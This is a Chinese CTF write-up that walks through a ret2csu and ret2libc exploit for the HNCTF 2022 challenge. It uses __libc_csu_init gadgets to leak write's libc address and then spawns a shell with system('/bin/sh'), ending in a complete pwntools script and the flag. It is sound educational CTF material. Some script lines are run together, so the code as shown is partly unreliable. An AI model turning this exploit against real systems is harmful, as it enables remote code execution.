PWN-中级ROP-[HNCTF 2022 WEEK2]ret2csu
IDA 反编译
read 处存在栈溢出
程序内部无 system 函数
也没有 /bin/sh 字符串
考虑打 ret2libc
程序在 main 函数中执行过 write 函数
我们可以用 write 函数来泄露 write 函数的真实地址
但是 write 函数有三个参数,我们这里控制不了 rdx
那么我们可以考虑 ret2csu
还是给大家先介绍一下基础知识吧:
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
从 IDA 截取出 __libc_csu_init 函数的汇编指令:
.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp
我们分析一下哪些 gadgets 我们可以利用
第一部分 gadgets1 :
我们可以利用栈溢出,构造栈上的数据一个一个顺序存入 rbx,rbp,r12,r13,r14,r15 寄存器中
注意,可能环境不同,r13,r14,r15 的顺序也会有所变化
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp
第二部分 gadgets2 :
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
通过 gadgets1 中最后的 ret,使程序流程走 gadget2,这样可以将存储在 r14 的值赋给 rdx,存储在 r13 的值赋给 rsi,存储在 r12 的值赋给 edi,此时 rdi 的高 32 位寄存器中值为 0,所以我们也可以控制 rdi 的值,只不过只能控制低 32 位。而这三个寄存器(rdi、rsi、rdx),也是 x64 函数调用中传递的前三个寄存器。
call 指令跳转到 r15 寄存器存储的位置处(假设我们在 gadgets1 中置 rbx=0)
rbx+1 后,判断是否与 rbp 相等
我们控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,满足相等,这样我们就不会跳转继续执行 loc_401290,进而可以执行后面的汇编代码,这里我们可以简单的 设置 rbx=0,rbp=1。
gadgets2 走完后,顺序往下走汇编代码,又会走到 gadgets1,所以我们在栈中需要设 7*8=56个padding 字符,使栈不会空,然后设置特定的ret地址。
再次走 gadgets1 时,会把 rbx,rbp,r12,r13,r14,r15 六个寄存器重新设值,但这六个寄存器对我们来说已经没用了,所以可以为任意的 padding,我们的目的是要控制 rdi,rsi,rdx 三个寄存器来存放函数的参数,rdi 为第一个参数的存放寄存器,rsi 为第二个参数,rdx 为第三个参数。
整体思路:
利用 ret2csu 调用 write 函数来泄露 write 函数的真实地址,然后就是 ret2libc 的过程了,也就是获取到 system 和 /bin/sh 的地址后,返回到 main 函数或者 vul 函数,再次溢出,执行 system("/bin/sh")
编写 exp:
# @author:My6n
# @time:20250606
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node5.anna.nssctf.cn',26478)
elf = ELF('./pwn')write_got_addr = elf.got['write']
main_addr = 0x4011DC
vul_addr = 0x401176
gadgets1 = 0x4012AA
gadgets2 = 0x401290offset = 264
pop_rdi = 0x4012b3
ret_addr = 0x40101apayload1 = cyclic(offset)
payload1 += p64(gadgets1)
payload1 += p64(0) + p64(1)
payload1 += p64(1) + p64(write_got_addr) + p64(8)
payload1 += p64(write_got_addr)
payload1 += p64(gadgets2)
payload1 += b'a' * 56
payload1 += p64(main_addr)
#payload1 += p64(vul_addr)
#用vul函数也是可以的io.sendlineafter(b'Input:\n',payload1)
io.recvuntil(b'Ok.\n')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(write_addr))#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))payload2 = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
没有问题
拿到 flag:nssctf{Y0u_p0p_6_r3g1ster_and_ret2c5u}